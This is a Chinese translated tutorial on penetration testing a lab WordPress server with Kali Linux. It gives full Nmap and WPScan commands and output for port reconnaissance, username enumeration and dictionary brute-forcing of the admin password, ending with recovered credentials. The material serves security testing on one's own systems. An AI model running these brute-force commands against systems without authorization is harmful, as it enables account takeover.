使用 Linux 安全工具进行渗透测试

2024年 7月 17日 21.6k 0

使用 Kali Linux 和其他开源工具来发现系统中的安全漏洞和弱点。

使用 Linux 安全工具进行渗透测试-1

众多被广泛报道的大型消费企业入侵事件凸显了系统安全管理的重要性。幸运的是,有许多不同的应用程序可以帮助保护计算机系统。其中一个是 Kali,一个为安全和渗透测试而开发的 Linux 发行版。本文演示了如何使用 Kali Linux 来审视你的系统以发现弱点。

Kali 安装了很多工具,它们都是开源的,默认情况下安装了它们会让事情变得更容易。

(LCTT 译注:Kali 及其携带工具只应该用于对自己拥有合法审查权利的系统和设备,任何未经授权的扫描、渗透和攻击均是违法的。本文作者、译者均不承担任何非授权使用的结果。)

使用 Linux 安全工具进行渗透测试-2

本文使用的系统是:

  • kali.usersts.redhat.com:这是我将用来启动扫描和攻击的系统。它拥有 30GB 内存和 6 个虚拟 CPU(vCPU)。
  • vulnerable.usersys.redhat.com: 这是一个 Red Hat 企业版 Linux 8 系统,它会成为目标。它拥有 16GB 内存和 6 个 vCPU。它是一个相对较新的系统,但有些软件包可能已经过时。
  • 这个系统包括 httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64tigervnc-server-1.9.0-15.el8_1.x86_64vsftpd-3.0.3-32.el8.x86_64 和一个 5.6.1 版本的 WordPress。
  • 我在上面列出了硬件规格,因为一些任务要求很高,尤其是在运行 WordPress 安全扫描程序(WPScan)时对目标系统 CPU 的要求。

    探测你的系统

    首先,我会在目标系统上进行基本的 Nmap 扫描(你可以阅读 使用 Nmap 结果帮助加固 Linux 系统 一文来更深入地了解 Nmap)。Nmap 扫描是一种快速的方法,可以大致了解被测系统中哪些端口和服务是暴露的。

    使用 Linux 安全工具进行渗透测试-3

    默认扫描显示有几个你可能感兴趣的开放端口。实际上,任何开放端口都可能成为攻击者破坏你网络的一种方式。在本例中,端口 21、22、80 和 443 是不错的扫描对象,因为它们是常用服务的端口。在这个早期阶段,我只是在做侦察工作,尽可能多地获取有关目标系统的信息。

    我想用 Nmap 侦察 80 端口,所以我使用 -p 80 参数来查看端口 80,-A 参数来获取操作系统和应用程序版本等信息。

    使用 Linux 安全工具进行渗透测试-4

    关键信息有:

    PORT   STATE SERVICE VERSION
    80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
    |_http-generator: WordPress 5.6.1
    

    现在我知道了这是一个 WordPress 服务器,我可以使用 WPScan 来获取有关潜在威胁的信息。一个很好的侦察方法是尝试找到一些用户名,使用 --enumerate u 告诉 WPScan 在 WordPress 实例中查找用户名。例如:

    ┌──(root?kali)-[~]
    └─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
    _______________________________________________________________
            __              _______   _____
            \ \     / /  __ \ / ____|
            \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
            \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                    \  /\  /  | |   ____) | (__| (_| | | | |
                    \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
            WordPress Security Scanner by the WPScan Team
                            Version 3.8.10
            Sponsored by Automattic - https://automattic.com/
            @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
    [+] Started: Tue Feb 16 21:38:49 2021
    
    Interesting Finding(s):
    ...
    [i] User(s) Identified:
    
    [+] admin
     | Found By: Author Posts - Display Name (Passive Detection)
     | Confirmed By:
     |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
     |  Login Error Messages (Aggressive Detection)
    
    [+] pgervase
     | Found By: Author Posts - Display Name (Passive Detection)
     | Confirmed By:
     |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
     |  Login Error Messages (Aggressive Detection)
    

    这显示有两个用户:adminpgervase。我将尝试使用密码字典来猜测 admin 的密码。密码字典是一个包含很多密码的文本文件。我使用的字典大小有 37G,有 3,543,076,137 行。

    就像你可以选择不同的文本编辑器、Web 浏览器和其他应用程序 一样,也有很多工具可以启动密码攻击。下面是两个使用 Nmap 和 WPScan 的示例命令:

    # nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
    
    # wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
    

    这个 Nmap 脚本是我使用的许多脚本之一,使用 WPScan 扫描 URL 只是这个工具可以完成的许多任务之一。你可以用你喜欢的那一个。

    WPScan 示例在文件末尾显示了密码:

    ┌──(root?kali)-[~]
    └─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
    _______________________________________________________________
            __              _______   _____
            \ \     / /  __ \ / ____|
            \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
            \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                    \  /\  /  | |   ____) | (__| (_| | | | |
                    \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
            WordPress Security Scanner by the WPScan Team
                            Version 3.8.10
            Sponsored by Automattic - https://automattic.com/
            @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
    [+] Started: Thu Feb 18 20:32:13 2021
    
    Interesting Finding(s):
    
    ......
    
    [+] Performing password attack on Wp Login against 1 user/s
    Trying admin / redhat Time: 00:01:57  (3231 / 3231) 100.00% Time: 00:01:57
    Trying admin / redhat Time: 00:01:57  (3231 / 6462) 50.00%  ETA: ??:??:??
    [SUCCESS] - admin / redhat                                                                                                                                                                      
    
    [!] Valid Combinations Found:
     | Username: admin, Password: redhat
    
    [!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
    [!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
    
    [+] Finished: Thu Feb 18 20:34:15 2021
    [+] Requests Done: 3255
    [+] Cached Requests: 34
    [+] Data Sent: 1.066 MB
    [+] Data Received: 24.513 MB
    [+] Memory used: 264.023 MB
    [+] Elapsed time: 00:02:02
    

    在末尾的“找到有效组合”部分包含了管理员用户名和密码,3231 行只用了两分钟。

    我还有另一个字典文件,其中包含 3,238,659,984 行,使用它花费的时间更长并且会留下更多的证据。

    使用 Nmap 可以更快地产生结果:

    ┌──(root?kali)-[~]
    └─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
    Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
    Host is up (0.00015s latency).
    Not shown: 995 closed ports
    PORT STATE SERVICE VERSION
    21/tcp open ftp vsftpd 3.0.3
    22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
    80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
    |_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
    | http-wordpress-brute:
    | Accounts:
    | admin:redhat - Valid credentials

    相关文章

    Linux 命令行的聊天工具 CenterIM
    Linux 桌面年仍未到来 但 Linux 移动之年已到来
    12 个在线学习 Linux 技能网站
    Linux Mint : 会是另一个新的 Ubuntu 吗?
    W3Conf 开发者大会将于下周召开
    Ubuntu 10.04 ARM 处理器上网本版本结束服务期

    发布评论